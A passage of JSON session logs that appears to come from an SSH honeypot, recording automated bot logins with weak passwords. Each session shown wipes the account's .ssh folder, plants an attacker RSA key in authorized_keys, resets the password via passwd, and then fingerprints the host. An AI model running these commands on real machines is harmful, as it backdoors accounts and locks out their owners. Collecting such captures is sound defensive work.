\"123\\noCVo2UzhDe7u\\noCVo2UzhDe7u\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:14:04.566363+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\noCVo2UzhDe7u\\noCVo2UzhDe7u\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:14:04.895519+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:14:05.359628+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:14:05.682896+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:14:07.010968+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:14:07.336819+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:14:08.110443+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:14:08.435228+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:14:08.892744+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:14:09.217900+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:14:09.518888+00:00","kind":"output","latency_ms":null,"data":" 08:14:09 up 7 days, 5:04, 0 user, load average: 0.12, 0.11, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:14:09.843462+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:14:10.295770+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:14:10.627807+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:14:11.161371+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:14:11.484694+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:14:11.862689+00:00","kind":"output","latency_ms":null,"data":"top - 08:14:11 up 7 days, 5:04, 0 user, load average: 0.12, 0.11, 0.14\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:14:12.186774+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:14:12.767172+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:14:13.090191+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:14:13.497600+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:14:13.822815+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:14:14.180988+00:00","kind":"output","latency_ms":null,"data":"drew"},{"seq":29,"at":"2026-08-27T08:14:14.505962+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:14:15.325017+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:14:15.649063+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:14:16.564259+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"drew","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"710045c9-1832-44be-936d-947afc7b6875","name":"obsidian-sandy-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":44310,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:12:11.874759+00:00","ended_at":"2026-08-27T08:12:13.112396+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T08:11:53.200528+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:11:53.535846+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:11:57.924580+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:11:58.666330+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:11:59.000253+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin123\\ndHV3aleHayGm\\ndHV3aleHayGm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:11:59.333265+00:00","kind":"input","latency_ms":null,"data":"echo \"admin123\\ndHV3aleHayGm\\ndHV3aleHayGm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:11:59.666682+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:12:00.180966+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:12:00.515177+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:12:01.559375+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:12:01.909473+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:12:02.857856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:12:03.196246+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:12:03.707844+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:12:04.041622+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:12:04.745432+00:00","kind":"output","latency_ms":null,"data":" 08:12:04 up 7 days, 5:02, 0 user, load average: 0.05, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:12:05.085658+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:12:05.853284+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:12:06.189666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:12:06.783720+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:12:07.117296+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:12:07.507668+00:00","kind":"output","latency_ms":null,"data":"top - 08:12:07 up 7 days, 5:02, 0 user, load average: 0.05, 0.04, 0.03\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:12:07.841392+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:12:08.319354+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:12:08.653642+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:12:08.974491+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:12:09.315840+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:12:09.906189+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T08:12:10.239834+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:12:11.539260+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:12:11.876730+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:12:13.013820+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"2b464d23-4a9a-46c2-b421-cbddd6f10f66","name":"vaulted-obsidian-harrier","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":53000,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":355,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:10:09.081161+00:00","ended_at":"2026-08-27T08:10:10.584016+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2261,"events":[{"seq":1,"at":"2026-08-27T08:09:51.598901+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:09:51.953891+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:09:55.135435+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:09:55.445788+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:09:55.801374+00:00","kind":"input","latency_ms":null,"data":"echo -e \"oracle2024\\nxRm5Gh7vf6Ur\\nxRm5Gh7vf6Ur\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:09:56.158137+00:00","kind":"input","latency_ms":null,"data":"echo \"oracle2024\\nxRm5Gh7vf6Ur\\nxRm5Gh7vf6Ur\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:09:56.510339+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:09:56.816146+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:09:57.169714+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:09:58.561848+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:09:58.920446+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:10:00.025676+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:10:00.383390+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:10:01.278832+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:10:01.633059+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:10:02.508111+00:00","kind":"output","latency_ms":null,"data":" 08:10:02 up 7 days, 5:00, 0 user, load average: 0.13, 0.13, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:10:02.863479+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:10:03.195387+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:10:03.552326+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:10:03.863372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:10:04.223814+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:10:04.989621+00:00","kind":"output","latency_ms":null,"data":"top - 08:10:04 up 7 days, 5:00, 0 user, load average: 0.13, 0.13, 0.08\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:10:05.347002+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:10:05.623780+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:10:05.980393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:10:06.571928+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:10:06.928263+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:10:07.493201+00:00","kind":"output","latency_ms":null,"data":"oracle"},{"seq":29,"at":"2026-08-27T08:10:07.847174+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:10:08.726583+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:10:09.081867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:10:10.477856+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"oracle","password":"oracle2024","method":"password","accepted":true,"tier":"other"}]} {"id":"9b885516-221d-4f74-9843-6e3a63a4695a","name":"pristine-thawing-moorhen","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":33456,"username":"noreply","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:08:10.525906+00:00","ended_at":"2026-08-27T08:08:12.272829+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T08:07:52.258324+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:07:52.605944+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:07:56.357517+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:07:57.126587+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:07:57.477974+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\naNUvax1jKjiC\\naNUvax1jKjiC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:07:57.825835+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\naNUvax1jKjiC\\naNUvax1jKjiC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:07:58.178371+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:07:58.949458+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:07:59.298135+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:08:00.100784+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:08:00.452697+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:08:01.402183+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:08:01.757657+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:08:02.456373+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:08:02.805869+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:08:03.519308+00:00","kind":"output","latency_ms":null,"data":" 08:08:03 up 7 days, 4:58, 0 user, load average: 0.15, 0.17, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:08:03.867215+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:08:04.318886+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:08:04.666800+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:08:04.972178+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:08:05.320230+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:08:05.881521+00:00","kind":"output","latency_ms":null,"data":"top - 08:08:05 up 7 days, 4:58, 0 user, load average: 0.15, 0.17, 0.15\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:08:06.229627+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:08:06.740702+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:08:07.092305+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:08:07.652128+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:08:08.004606+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:08:08.428432+00:00","kind":"output","latency_ms":null,"data":"noreply"},{"seq":29,"at":"2026-08-27T08:08:08.784659+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:08:10.178277+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:08:10.526693+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:08:12.168466+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"noreply","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"976c541a-e9a4-44e6-807c-35a486a51cf9","name":"deft-weathered-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":42158,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:06:10.277587+00:00","ended_at":"2026-08-27T08:06:11.370164+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T08:05:52.053721+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:05:52.386102+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:05:56.961622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:05:57.489113+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:05:57.824108+00:00","kind":"input","latency_ms":null,"data":"echo -e \"p4ssw0rd\\niD0yihHIEf2w\\niD0yihHIEf2w\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:05:58.159817+00:00","kind":"input","latency_ms":null,"data":"echo \"p4ssw0rd\\niD0yihHIEf2w\\niD0yihHIEf2w\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:05:58.490285+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:05:59.254379+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:05:59.587111+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:06:00.671253+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:06:01.007704+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:06:02.295572+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:06:02.629732+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:06:02.927692+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:06:03.261855+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:06:03.799315+00:00","kind":"output","latency_ms":null,"data":" 08:06:03 up 7 days, 4:56, 0 user, load average: 0.16, 0.13, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:06:04.134551+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:06:04.619790+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:06:04.953174+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 